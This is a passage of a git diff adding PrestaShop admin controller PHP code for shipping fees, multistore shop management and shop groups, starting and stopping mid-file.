'floatval', + 'type' => 'text', + 'validation' => 'isPrice'), + 'PS_SHIPPING_FREE_PRICE' => array( + 'title' => $this->l('Free shipping starts at'), + 'suffix' => $this->context->currency->getSign(), + 'cast' => 'floatval', + 'type' => 'text', + 'validation' => 'isPrice'), + 'PS_SHIPPING_FREE_WEIGHT' => array( + 'title' => $this->l('Free shipping starts at'), + 'suffix' => Configuration::get('PS_WEIGHT_UNIT'), + 'cast' => 'floatval', + 'type' => 'text', + 'validation' => 'isUnsignedFloat'), + ), + 'description' => + '<ul> + <li>'.$this->l('If you set these parameters to 0, they will be disabled.').'</li> + <li>'.$this->l('Coupons are not taken into account when calculating free shipping').'</li> + </ul>', + 'submit' => array() + ), + 'billing' => array( + 'title' => $this->l('Billing'), + 'icon' => 'money', + 'fields' => array( + 'PS_SHIPPING_METHOD' => array( + 'title' => $this->l('Billing'), + 'cast' => 'intval', + 'type' => 'radio', + 'choices' => array( + 0 => $this->l('According to total price'), + 1 => $this->l('According to total weight') + ), + 'validation' => 'isBool' + ), + ) + ), + ); + } + + public function initContent() + { + $array_carrier = array(); + $carriers = Carrier::getCarriers($this->context->language->id, true, false, false, null, Carrier::PS_CARRIERS_AND_CARRIER_MODULES_NEED_RANGE); + foreach ($carriers as $key => $carrier) + if ($carrier['is_free']) + unset($carriers[$key]); + else + $array_carrier[] = $carrier['id_carrier']; + + $id_carrier = (int)Tools::getValue('id_carrier'); + + if (count($carriers) && isset($array_carrier[0])) + { + if (!$id_carrier) + $id_carrier = (int)$array_carrier[0]; + + $carrierSelected = new Carrier((int)$id_carrier); + } + else + $carrierSelected = new Carrier((int)$id_carrier); + + $currency = $this->context->currency; + $rangeObj = $carrierSelected->getRangeObject(); + $rangeTable = $carrierSelected->getRangeTable(); + $suffix = $carrierSelected->getRangeSuffix(); + + $rangeIdentifier = 'id_'.$rangeTable; + $ranges = $rangeObj->getRanges($id_carrier); + $delivery = Carrier::getDeliveryPriceByRanges($rangeTable, $id_carrier); + $deliveryArray = array(); + foreach ($delivery as $deliv) + $deliveryArray[$deliv['id_zone']][$deliv['id_carrier']][$deliv[$rangeIdentifier]] = $deliv['price']; + + $this->context->smarty->assign(array( + 'zones' => $carrierSelected->getZones(), + 'carriers' => $carriers, + 'ranges' => $ranges, + 'currency' => $currency, + 'deliveryArray' => $deliveryArray, + 'carrierSelected' => $carrierSelected, + 'id_carrier' => $id_carrier, + 'suffix' => $suffix, + 'rangeIdentifier' => $rangeIdentifier, + 'action_fees' => self::$currentIndex.'&token='.$this->token + )); + + parent::initContent(); + } + + public function postProcess() + { + /* Shipping fees */ + if (Tools::isSubmit('submitFees'.$this->table)) + { + if ($this->tabAccess['edit'] === '1') + { + if (($id_carrier = (int)(Tools::getValue('id_carrier'))) && $id_carrier == ($id_carrier2 = (int)(Tools::getValue('id_carrier2')))) + { + $carrier = new Carrier($id_carrier); + if (Validate::isLoadedObject($carrier)) + { + /* Get configuration values */ + $shipping_method = $carrier->getShippingMethod(); + $rangeTable = $carrier->getRangeTable(); + + $carrier->deleteDeliveryPrice($rangeTable); + $currentList = Carrier::getDeliveryPriceByRanges($rangeTable, $id_carrier); + + /* Build prices list */ + $priceList = array(); + foreach ($_POST as $key => $value) + if (strstr($key, 'fees_')) + { + $tmpArray = explode('_', $key); + + $price = number_format(abs(str_replace(',', '.', $value)), 6, '.', ''); + $current = 0; + foreach ($currentList as $item) + if ($item['id_zone'] == $tmpArray[1] && $item['id_'.$rangeTable] == $tmpArray[2]) + $current = $item; + if ($current && $price == $current['price']) + continue; + + $priceList[] = array( + 'id_range_price' => ($shipping_method == Carrier::SHIPPING_METHOD_PRICE) ? (int)$tmpArray[2] : null, + 'id_range_weight' => ($shipping_method == Carrier::SHIPPING_METHOD_WEIGHT) ? (int)$tmpArray[2] : null, + 'id_carrier' => (int)$carrier->id, + 'id_zone' => (int)$tmpArray[1], + 'price' => $price, + ); + } + /* Update delivery prices */ + $carrier->addDeliveryPrice($priceList); + Tools::redirectAdmin(self::$currentIndex.'&conf=6&id_carrier='.$carrier->id.'&token='.$this->token); + } + else + $this->errors[] = Tools::displayError('An error occurred while attempting to update fees (cannot load carrier object).'); + } + elseif (isset($id_carrier2)) + $_POST['id_carrier'] = $id_carrier2; + else + $this->errors[] = Tools::displayError('An error occurred while attempting to update fees (cannot load carrier object).'); + } + else + $this->errors[] = Tools::displayError('You do not have permission to edit this.'); + } + else + return parent::postProcess(); + } +} + + diff --git a/controllers/admin/AdminShopController.php b/controllers/admin/AdminShopController.php new file mode 100755 index 0000000..285459e --- /dev/null +++ b/controllers/admin/AdminShopController.php @@ -0,0 +1,750 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + + +class AdminShopControllerCore extends AdminController +{ + public function __construct() + { + $this->context = Context::getContext(); + $this->table = 'shop'; + $this->className = 'Shop'; + $this->multishop_context = Shop::CONTEXT_ALL; + $this->id_shop_group = Tools::getValue('id_shop_group'); + $this->list_skip_actions['delete'] = array((int)Configuration::get('PS_SHOP_DEFAULT')); + $this->fields_list = array( + 'id_shop' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25 + ), + 'name' => array( + 'title' => $this->l('Shop'), + 'width' => 'auto', + 'filter_key' => 'a!name', + 'width' => 200, + ), + 'shop_group_name' => array( + 'title' => $this->l('Group Shop'), + 'width' => 150, + 'filter_key' => 'gs!name' + ), + 'category_name' => array( + 'title' => $this->l('Category'), + 'width' => 150, + 'filter_key' => 'cl!name' + ), + 'url' => array( + 'title' => $this->l('The shop\'s main URL'), + 'havingFilter' => 'url', + ), + /*'active' => array( + 'title' => $this->l('Enabled'), + 'align' => 'center', + 'active' => 'status', + 'type' => 'bool', + 'orderby' => false, + 'filter_key' => 'active', + 'width' => 50, + )*/ + ); + + parent::__construct(); + } + + public function viewAccess($disable = false) + { + return Configuration::get('PS_MULTISHOP_FEATURE_ACTIVE'); + } + + public function initToolbar() + { + if (!$this->id_shop_group && $this->object && $this->object->id_shop_group) + $this->id_shop_group = $this->object->id_shop_group; + + if (!$this->display && $this->id_shop_group) + $this->toolbar_btn['edit'] = array( + 'desc' => $this->l('Edit this shop group'), + 'href' => $this->context->link->getAdminLink('AdminShopGroup').'&updateshop_group&id_shop_group='.$this->id_shop_group, + ); + + if ($this->display == 'edit' || $this->display == 'add') + { + if ($shop = $this->loadObject(true)) + { + if ((bool)$shop->id) + { + // adding button for delete this shop + if ($this->tabAccess['delete'] && $this->display != 'add' && !Shop::hasDependency($shop->id)) + $this->toolbar_btn['delete'] = array( + 'short' => 'Delete', + 'href' => $this->context->link->getAdminLink('AdminShop').'&id_shop='.$shop->id.'&deleteshop', + 'desc' => $this->l('Delete this shop'), + 'confirm' => 1); + + $this->toolbar_btn['new-url'] = array( + 'href' => $this->context->link->getAdminLink('AdminShopUrl').'&id_shop='.$shop->id.'&addshop_url', + 'desc' => $this->l('Add URL'), + 'class' => 'addShopUrl' + ); + } + + if ($this->tabAccess['edit']) + { + $this->toolbar_btn['save'] = array( + 'short' => 'Save', + 'href' => '#todo'.$this->context->link->getAdminLink('AdminShops').'&id_shop='.$shop->id, + 'desc' => $this->l('Save'), + ); + + $this->toolbar_btn['save-and-stay'] = array( + 'short' => 'SaveAndStay', + 'href' => '#todo'.$this->context->link->getAdminLink('AdminShops').'&id_shop='.$shop->id, + 'desc' => $this->l('Save and stay'), + ); + } + } + } + + parent::initToolbar(); + $this->context->smarty->assign('toolbar_scroll', 1); + + $this->show_toolbar = false; + if (isset($this->toolbar_btn['new'])) + $this->toolbar_btn['new'] = array( + 'desc' => $this->l('Add new shop'), + 'href' => $this->context->link->getAdminLink('AdminShop').'&add'.$this->table.'&id_shop_group='.$this->id_shop_group, + ); + + if (isset($this->toolbar_btn['back'])) + $this->toolbar_btn['back']['href'] .= '&id_shop_group='.$this->id_shop_group; + } + + public function initContent() + { + $this->list_simple_header = true; + parent::initContent(); + + $this->addJqueryPlugin('cookie-plugin'); + $this->addJqueryPlugin('jstree'); + $this->addCSS(_PS_JS_DIR_.'jquery/plugins/jstree/themes/classic/style.css'); + + if ($this->display == 'edit') + $this->toolbar_title[] = $this->object->name; + else if (!$this->display && $this->id_shop_group) + { + $group = new ShopGroup($this->id_shop_group); + $this->toolbar_title[] = $group->name; + } + + $this->context->smarty->assign(array( + 'toolbar_scroll' => 1, + 'toolbar_btn' => $this->toolbar_btn, + 'title' => $this->toolbar_title, + 'selected_tree_id' => ($this->display == 'edit' ? 'tree-shop-'.$this->id_object : (Tools::getValue('id_shop_group') ? 'tree-group-'.Tools::getValue('id_shop_group') : '')), + )); + } + + public function renderList() + { + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->_select = 'gs.name shop_group_name, cl.name category_name, CONCAT(\'http://\', su.domain, su.physical_uri, su.virtual_uri) AS url'; + $this->_join = ' + LEFT JOIN `'._DB_PREFIX_.'shop_group` gs + ON (a.id_shop_group = gs.id_shop_group) + LEFT JOIN `'._DB_PREFIX_.'category_lang` cl + ON (a.id_category = cl.id_category AND cl.id_lang='.(int)$this->context->language->id.') + LEFT JOIN '._DB_PREFIX_.'shop_url su + ON a.id_shop = su.id_shop AND su.main = 1 + '; + $this->_group = 'GROUP BY a.id_shop'; + + if ($id_shop_group = (int)Tools::getValue('id_shop_group')) + $this->_where = 'AND a.id_shop_group = '.$id_shop_group; + + return parent::renderList(); + } + + public function displayAjaxGetCategoriesFromRootCategory() + { + if (Tools::isSubmit('id_category')) + { + $root_category = new Category((int)Tools::getValue('id_category')); + $root_category = array( + 'id_category' => $root_category->id, + 'name' => $root_category->name[$this->context->language->id] + ); + $selected_cat = array($root_category['id_category']); + $children = Category::getChildren($root_category['id_category'], $this->context->language->id); + foreach ($children as $child) + $selected_cat[] = $child['id_category']; + $helper = new Helper(); + $this->content = $helper->renderCategoryTree($root_category, $selected_cat); + } + parent::displayAjax(); + } + + public function postProcess() + { + if (Tools::isSubmit('id_category_default')) + $_POST['id_category'] = Tools::getValue('id_category_default'); + /*if ((Tools::isSubmit('status') || + Tools::isSubmit('status'.$this->table) || + (Tools::isSubmit('submitAdd'.$this->table) && Tools::getValue($this->identifier) && !Tools::getValue('active'))) && + $this->loadObject() && $this->loadObject()->active) + { + if (Tools::getValue('id_shop') == Configuration::get('PS_SHOP_DEFAULT')) + $this->errors[] = Tools::displayError('You cannot disable the default shop.'); + else if (Shop::getTotalShops() == 1) + $this->errors[] = Tools::displayError('You cannot disable the last shop.'); + }*/ + + if (Tools::isSubmit('submitAddshopAndStay') || Tools::isSubmit('submitAddshop')) + { + $same_name = Db::getInstance()->getValue(' + SELECT id_shop + FROM '._DB_PREFIX_.'shop + WHERE name = "'.pSQL(Tools::getValue('name')).'" + AND id_shop_group = '.(int)Tools::getValue('id_shop_group').' + '.(Tools::getValue('id_shop') ? 'AND id_shop != '.(int)Tools::getValue('id_shop') : '')); + if ($same_name) + $this->errors[] = Tools::displayError('You cannot have two shops with the same name in the same group.'); + } + + if (count($this->errors)) + return false; + + $result = parent::postProcess(); + + if ($this->redirect_after) + $this->redirect_after .= '&id_shop_group='.$this->id_shop_group; + + return $result; + } + + public function processDelete() + { + if (!Validate::isLoadedObject($object = $this->loadObject())) + $this->errors[] = Tools::displayError('Unable to load this shop.'); + else if (!Shop::hasDependency($object->id)) + { + $result = Category::deleteCategoriesFromShop($object->id) && parent::processDelete(); + Tools::generateHtaccess(); + return $result; + } + else + $this->errors[] = Tools::displayError('You can\'t delete this shop (customer and/or order dependency).'); + + return false; + } + + protected function afterAdd($new_shop) + { + $import_data = Tools::getValue('importData', array()); + + // The root category should be at least imported + $new_shop->copyShopData((int)Tools::getValue('importFromShop'), $import_data); + + // copy default data + if (!Tools::getValue('useImportData') || (is_array($import_data) && !isset($import_data['group']))) + { + $sql = 'INSERT INTO `'._DB_PREFIX_.'group_shop` (`id_shop`, `id_group`) + VALUES + ('.(int)$new_shop->id.', '.(int)Configuration::get('PS_UNIDENTIFIED_GROUP').'), + ('.(int)$new_shop->id.', '.(int)Configuration::get('PS_GUEST_GROUP').'), + ('.(int)$new_shop->id.', '.(int)Configuration::get('PS_CUSTOMER_GROUP').') + '; + Db::getInstance()->execute($sql); + } + + return parent::afterAdd($new_shop); + } + + protected function afterUpdate($new_shop) + { + if (!Category::updateFromShop(Tools::getValue('categoryBox'), $new_shop->id)) + $this->errors[] = $this->l('You need to select at least the root category.'); + if (Tools::getValue('useImportData') && ($import_data = Tools::getValue('importData')) && is_array($import_data)) + $new_shop->copyShopData((int)Tools::getValue('importFromShop'), $import_data); + return parent::afterUpdate($new_shop); + } + + public function getList($id_lang, $order_by = null, $order_way = null, $start = 0, $limit = null, $id_lang_shop = false) + { + if (Shop::getContext() == Shop::CONTEXT_GROUP) + $this->_where .= ' AND a.id_shop_group = '.(int)Shop::getContextShopGroupID(); + + parent::getList($id_lang, $order_by, $order_way, $start, $limit, $id_lang_shop); + $shop_delete_list = array(); + + // don't allow to remove shop which have dependencies (customers / orders / ... ) + foreach ($this->_list as &$shop) + { + if (Shop::hasDependency($shop['id_shop'])) + $shop_delete_list[] = $shop['id_shop']; + } + $this->context->smarty->assign('shops_having_dependencies', $shop_delete_list); + } + + public function renderForm() + { + if (!($obj = $this->loadObject(true))) + return; + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Shop') + ), + 'input' => array( + array( + 'type' => 'text', + 'label' => $this->l('Shop name:'), + 'desc' => $this->l('This field does not refer to the shop name visible in the front office.').' '. + sprintf($this->l('Follow %sthis link%s to edit the shop name used on the Front Office.'), '<a href="'.$this->context->link->getAdminLink('AdminStores').'">', '</a>'), + 'name' => 'name', + 'required' => true, + ) + ) + ); + + $display_group_list = true; + if ($this->display == 'edit') + { + $group = new ShopGroup($obj->id_shop_group); + if ($group->share_customer || $group->share_order || $group->share_stock) + $display_group_list = false; + } + + if ($display_group_list) + { + $options = array(); + foreach (ShopGroup::getShopGroups() as $group) + { + if ($this->display == 'edit' && ($group->share_customer || $group->share_order || $group->share_stock) && ShopGroup::hasDependency($group->id)) + continue; + + $options[] = array( + 'id_shop_group' => $group->id, + 'name' => $group->name, + ); + } + + if ($this->display == 'add') + $group_desc = $this->l('Warning: You won\'t be able to change the group of this shop if this shop belongs to a group with one of these options activated: Share Customers, Share Quantities or Share Orders.'); + else + $group_desc = $this->l('You can only move your shop to a shop group with all "share" options disabled -- or to a shop group with no customers/orders.'); + + $this->fields_form['input'][] = array( + 'type' => 'select', + 'label' => $this->l('Group Shop:'), + 'desc' => $group_desc, + 'name' => 'id_shop_group', + 'options' => array( + 'query' => $options, + 'id' => 'id_shop_group', + 'name' => 'name', + ), + ); + } + else + { + $this->fields_form['input'][] = array( + 'type' => 'hidden', + 'name' => 'id_shop_group', + 'default' => $group->name + ); + $this->fields_form['input'][] = array( + 'type' => 'textShopGroup', + 'label' => $this->l('Shop group:'), + 'desc' => $this->l('You can\'t edit the shop group because the current shop belongs to a group with the "share" option enabled.'), + 'name' => 'id_shop_group', + 'value' => $group->name + ); + } + + $categories = Category::getRootCategories($this->context->language->id); + $this->fields_form['input'][] = array( + 'type' => 'select', + 'label' => $this->l('Category root:'), + 'desc' => $this->l('This is the root category of the store that you\'ve created. To define a new root category for your store,').' <a href="'.$this->context->link->getAdminLink('AdminCategories').'&addcategoryroot">'.$this->l('Please click here').'</a>', + 'name' => 'id_category', + 'options' => array( + 'query' => $categories, + 'id' => 'id_category', + 'name' => 'name' + ) + ); + + if (Tools::isSubmit('id_shop')) + { + $shop = new Shop((int)Tools::getValue('id_shop')); + $parent = $shop->id_category; + } + else + $parent = $categories[0]['id_category']; + $this->fields_form['input'][] = array( + 'type' => 'categories_select', + 'name' => 'categoryBox', + 'label' => $this->l('Associated categories:'), + 'category_tree' => $this->initCategoriesAssociation($parent), + 'desc' => $this->l('By selecting associated categories, you are choosing to share the categories between shops. Once associated between shops, any alteration of this category will impact every shop.') + ); + /*$this->fields_form['input'][] = array( + 'type' => 'radio', + 'label' => $this->l('Status:'), + 'name' => 'active', + 'required' => true, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ), + 'desc' => $this->l('Enable or disable your store?') + );*/ + + $themes = Theme::getThemes(); + if (!isset($obj->id_theme)) + foreach ($themes as $theme) + if (isset($theme->id)) + { + $id_theme = $theme->id; + break; + } + + $this->fields_form['input'][] = array( + 'type' => 'theme', + 'label' => $this->l('Theme:'), + 'name' => 'theme', + 'values' => $themes + ); + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save'), + 'class' => 'button' + ); + + if (Shop::getTotalShops() > 1 && $obj->id) + $disabled = array('active' => false); + else + $disabled = false; + + $import_data = array( + 'carrier' => $this->l('Carriers:'), + 'cms' => $this->l('CMS page'), + 'contact' => $this->l('Contact'), + 'country' => $this->l('Countries'), + 'currency' => $this->l('Currencies:'), + 'discount' => $this->l('Discounts'), + 'employee' => $this->l('Employees'), + 'image' => $this->l('Images'), + 'lang' => $this->l('Langs'), + 'manufacturer' => $this->l('Manufacturers:'), + 'module' => $this->l('modules'), + 'hook_module' => $this->l('Module hooks'), + 'meta_lang' => $this->l('Meta'), + 'product' => $this->l('Products:'), + 'product_attribute' => $this->l('Combinations'), + 'scene' => $this->l('Scenes'), + 'stock_available' => $this->l('Available quantities for sale'), + 'store' => $this->l('Stores'), + 'warehouse' => $this->l('Warehouse'), + 'webservice_account' => $this->l('Webservice accounts'), + 'attribute_group' => $this->l('Attribute groups'), + 'feature' => $this->l('Features'), + 'group' => $this->l('Customer groups'), + 'tax_rules_group' => $this->l('Tax rules groups'), + 'supplier' => $this->l('Suppliers'), + 'referrer' => $this->l('Referrers'), + 'zone' => $this->l('Zones'), + 'cart_rule' => $this->l('Cart rules'), + ); + + // Hook for duplication of shop data + $modules_list = Hook::getHookModuleExecList('actionShopDataDuplication'); + if (is_array($modules_list) && count($modules_list) > 0) + foreach ($modules_list as $m) + $import_data['Module'.ucfirst($m['module'])] = Module::getModuleName($m['module']); + + asort($import_data); + + if (!$this->object->id) + $this->fields_import_form = array( + 'radio' => array( + 'type' => 'radio', + 'label' => $this->l('Import data'), + 'name' => 'useImportData', + 'value' => 1 + ), + 'select' => array( + 'type' => 'select', + 'name' => 'importFromShop', + 'label' => $this->l('Choose the shop (source)'), + 'options' => array( + 'query' => Shop::getShops(false), + 'name' => 'name' + ) + ), + 'allcheckbox' => array( + 'type' => 'checkbox', + 'label' => $this->l('Choose data to import'), + 'values' => $import_data + ), + 'desc' => $this->l('Use this option to associate data (products, modules, etc.) the same way for each selected shop.') + ); + + $this->fields_value = array( + 'id_shop_group' => (Tools::getValue('id_shop_group') ? Tools::getValue('id_shop_group') : + (isset($obj->id_shop_group)) ? $obj->id_shop_group : Shop::getContextShopGroupID()), + 'id_category' => (Tools::getValue('id_category') ? Tools::getValue('id_category') : + (isset($obj->id_category)) ? $obj->id_category : (int)Configuration::get('PS_HOME_CATEGORY')), + 'id_theme_checked' => (isset($obj->id_theme) ? $obj->id_theme : $id_theme) + ); + + $ids_category = array(); + $shops = Shop::getShops(false); + foreach ($shops as $shop) + $ids_category[$shop['id_shop']] = $shop['id_category']; + + $this->tpl_form_vars = array( + 'disabled' => $disabled, + 'checked' => (Tools::getValue('addshop') !== false) ? true : false, + 'defaultShop' => (int)Configuration::get('PS_SHOP_DEFAULT'), + 'ids_category' => $ids_category, + ); + if (isset($this->fields_import_form)) + $this->tpl_form_vars = array_merge($this->tpl_form_vars, array('form_import' => $this->fields_import_form)); + + return parent::renderForm(); + } + + + /** + * Object creation + */ + public function processAdd() + { + if (!Tools::getValue('categoryBox') || !in_array(Tools::getValue('id_category'), Tools::getValue('categoryBox'))) + $this->errors[] = $this->l('You need to select at least the root category.'); + + if (Tools::isSubmit('id_category_default')) + $_POST['id_category'] = (int)Tools::getValue('id_category_default'); + + /* Checking fields validity */ + $this->validateRules(); + + if (!count($this->errors)) + { + $object = new $this->className(); + $this->copyFromPost($object, $this->table); + $this->beforeAdd($object); + if (!$object->add()) + { + $this->errors[] = Tools::displayError('An error occurred while creating an object.'). + ' <b>'.$this->table.' ('.Db::getInstance()->getMsgError().')</b>'; + } + /* voluntary do affectation here */ + else if (($_POST[$this->identifier] = $object->id) && $this->postImage($object->id) && !count($this->errors) && $this->_redirect) + { + $parent_id = (int)Tools::getValue('id_parent', 1); + $this->afterAdd($object); + $this->updateAssoShop($object->id); + // Save and stay on same form + if (Tools::isSubmit('submitAdd'.$this->table.'AndStay')) + $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'='.$object->id.'&conf=3&update'.$this->table.'&token='.$this->token; + // Save and back to parent + if (Tools::isSubmit('submitAdd'.$this->table.'AndBackToParent')) + $this->redirect_after = self::$currentIndex.'&'.$this->identifier.'='.$parent_id.'&conf=3&token='.$this->token; + // Default behavior (save and back) + if (empty($this->redirect_after)) + $this->redirect_after = self::$currentIndex.($parent_id ? '&'.$this->identifier.'='.$object->id : '').'&conf=3&token='.$this->token; + } + } + + $this->errors = array_unique($this->errors); + if (count($this->errors) > 0) + { + $this->display = 'add'; + return; + } + + // specific import for stock + if (isset($import_data['stock_available']) && isset($import_data['product']) && Tools::isSubmit('useImportData')) + { + $id_src_shop = (int)Tools::getValue('importFromShop'); + if ($object->getGroup()->share_stock == false) + StockAvailable::copyStockAvailableFromShopToShop($id_src_shop, $object->id); + } + + Category::updateFromShop(Tools::getValue('categoryBox'), $object->id); + Search::indexation(true); + return $object; + } + + public function initCategoriesAssociation($id_root = null) + { + if (is_null($id_root)) + $id_root = Configuration::get('PS_ROOT_CATEGORY'); + $id_shop = (int)Tools::getValue('id_shop'); + $shop = new Shop($id_shop); + $selected_cat = Shop::getCategories($id_shop); + if (empty($selected_cat)) + { + // get first category root and preselect all these children + $root_categories = Category::getRootCategories(); + $root_category = new Category($root_categories[0]['id_category']); + $children = $root_category->getAllChildren($this->context->language->id); + $selected_cat[] = $root_categories[0]['id_category']; + + foreach ($children as $child) + $selected_cat[] = $child->id; + } + if (Shop::getContext() == Shop::CONTEXT_SHOP && Tools::isSubmit('id_shop')) + $root_category = new Category($shop->id_category); + else + $root_category = new Category($id_root); + $root_category = array('id_category' => $root_category->id, 'name' => $root_category->name[$this->context->language->id]); + + $helper = new Helper(); + return $helper->renderCategoryTree($root_category, $selected_cat, 'categoryBox', false, true); + } + + public function ajaxProcessTree() + { + $tree = array(); + $sql = 'SELECT g.id_shop_group, g.name as group_name, s.id_shop, s.name as shop_name, u.id_shop_url, u.domain, u.physical_uri, u.virtual_uri + FROM '._DB_PREFIX_.'shop_group g + LEFT JOIN '._DB_PREFIX_.'shop s ON g.id_shop_group = s.id_shop_group + LEFT JOIN '._DB_PREFIX_.'shop_url u ON u.id_shop = s.id_shop + ORDER BY g.name, s.name, u.domain'; + $results = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql); + foreach ($results as $row) + { + $id_shop_group = $row['id_shop_group']; + $id_shop = $row['id_shop']; + $id_shop_url = $row['id_shop_url']; + + // Group list + if (!isset($tree[$id_shop_group])) + $tree[$id_shop_group] = array( + 'data' => array( + 'title' => '<b>'.$this->l('Group').'</b> '.$row['group_name'], + 'icon' => 'themes/'.$this->context->employee->bo_theme.'/img/tree-multishop-groups.png', + 'attr' => array( + 'href' => $this->context->link->getAdminLink('AdminShop').'&id_shop_group='.$id_shop_group, + 'title' => sprintf($this->l('Click here to display the shops in group %s', 'AdminShop', false, false), $row['group_name']), + ), + ), + 'attr' => array( + 'id' => 'tree-group-'.$id_shop_group, + ), + 'children' => array(), + ); + + // Shop list + if (!$id_shop) + continue; + + if (!isset($tree[$id_shop_group]['children'][$id_shop])) + $tree[$id_shop_group]['children'][$id_shop] = array( + 'data' => array( + 'title' => $row['shop_name'], + 'icon' => 'themes/'.$this->context->employee->bo_theme.'/img/tree-multishop-shop.png', + 'attr' => array( + 'href' => $this->context->link->getAdminLink('AdminShopUrl').'&id_shop='.$id_shop, + 'title' => sprintf($this->l('Click here to display the URLs of shops %s', 'AdminShop', false, false), $row['shop_name']), + ) + ), + 'attr' => array( + 'id' => 'tree-shop-'.$id_shop, + ), + 'children' => array(), + ); + // Url list + if (!$id_shop_url) + continue; + + if (!isset($tree[$id_shop_group]['children'][$id_shop]['children'][$id_shop_url])) + { + $url = $row['domain'].$row['physical_uri'].$row['virtual_uri']; + if (strlen($url) > 23) + $url = substr($url, 0, 23).'...'; + + $tree[$id_shop_group]['children'][$id_shop]['children'][$id_shop_url] = array( + 'data' => array( + 'title' => $url, + 'icon' => 'themes/'.$this->context->employee->bo_theme.'/img/tree-multishop-url.png', + 'attr' => array( + 'href' => $this->context->link->getAdminLink('AdminShopUrl').'&updateshop_url&id_shop_url='.$id_shop_url, + 'title' => $row['domain'].$row['physical_uri'].$row['virtual_uri'], + ) + ), + 'attr' => array( + 'id' => 'tree-url-'.$id_shop_url, + ), + ); + } + } + + // jstree need to have children as array and not object, so we use sort to get clean keys + // DO NOT REMOVE this code, even if it seems really strange ;) + sort($tree); + foreach ($tree as &$groups) + { + sort($groups['children']); + foreach ($groups['children'] as &$shops) + sort($shops['children']); + } + + $tree = array(array( + 'data' => array( + 'title' => '<b>'.$this->l('Shop groups list').'</b>', + 'icon' => 'themes/'.$this->context->employee->bo_theme.'/img/tree-multishop-root.png', + 'attr' => array( + 'href' => $this->context->link->getAdminLink('AdminShopGroup'), + 'title' => $this->l('Click here to display group shops list', 'AdminShop', false, false), + ) + ), + 'attr' => array( + 'id' => 'tree-root', + ), + 'state' => 'open', + 'children' => $tree, + )); + + die(Tools::jsonEncode($tree)); + } +} diff --git a/controllers/admin/AdminShopGroupController.php b/controllers/admin/AdminShopGroupController.php new file mode 100755 index 0000000..ab1d347 --- /dev/null +++ b/controllers/admin/AdminShopGroupController.php @@ -0,0 +1,323 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminShopGroupControllerCore extends AdminController +{ + public function __construct() + { + $this->table = 'shop_group'; + $this->className = 'ShopGroup'; + $this->lang = false; + $this->multishop_context = Shop::CONTEXT_ALL; + + $this->addRowAction('edit'); + $this->addRowAction('delete'); + + $this->context = Context::getContext(); + + if (!Tools::getValue('realedit')) + $this->deleted = false; + + $this->show_toolbar = false; + + $this->fields_list = array( + 'id_shop_group' => array( + 'title' => $this->l('ID'), + 'align' => 'center', + 'width' => 25, + ), + 'name' => array( + 'title' => $this->l('Group shop'), + 'width' => 'auto', + 'filter_key' => 'a!name', + ), + /*'active' => array( + 'title' => $this->l('Enabled'), + 'align' => 'center', + 'active' => 'status', + 'type' => 'bool', + 'orderby' => false, + 'filter_key' => 'active', + 'width' => 50, + ),*/ + ); + + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Multistore options'), + 'fields' => array( + 'PS_SHOP_DEFAULT' => array( + 'title' => $this->l('Default shop:'), + 'cast' => 'intval', + 'type' => 'select', + 'identifier' => 'id_shop', + 'list' => Shop::getShops(), + 'visibility' => Shop::CONTEXT_ALL + ) + ), + 'submit' => array() + ) + ); + + parent::__construct(); + } + + public function viewAccess($disable = false) + { + return Configuration::get('PS_MULTISHOP_FEATURE_ACTIVE'); + } + + public function initContent() + { + $this->list_simple_header = true; + parent::initContent(); + + if ($this->display == 'options') + { + unset($this->toolbar_btn); + $this->toolbar_btn['new'] = array( + 'desc' => $this->l('Add a new shop group'), + 'href' => self::$currentIndex.'&add'.$this->table.'&token='.$this->token, + ); + $this->toolbar_btn['new_2'] = array( + 'desc' => $this->l('Add a new shop'), + 'href' => $this->context->link->getAdminLink('AdminShop').'&addshop', + 'imgclass' => 'new' + ); + } + + $this->addJqueryPlugin('cookie-plugin'); + $this->addJqueryPlugin('jstree'); + $this->addCSS(_PS_JS_DIR_.'jquery/plugins/jstree/themes/classic/style.css'); + + if ($this->display == 'edit') + $this->toolbar_title[] = $this->object->name; + + $this->context->smarty->assign(array( + 'toolbar_scroll' => 1, + 'toolbar_btn' => $this->toolbar_btn, + 'title' => $this->toolbar_title, + 'selected_tree_id' => ($this->display == 'edit') ? 'tree-group-'.$this->id_object : 'tree-root', + )); + } + + public function renderForm() + { + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Shop group:') + ), + 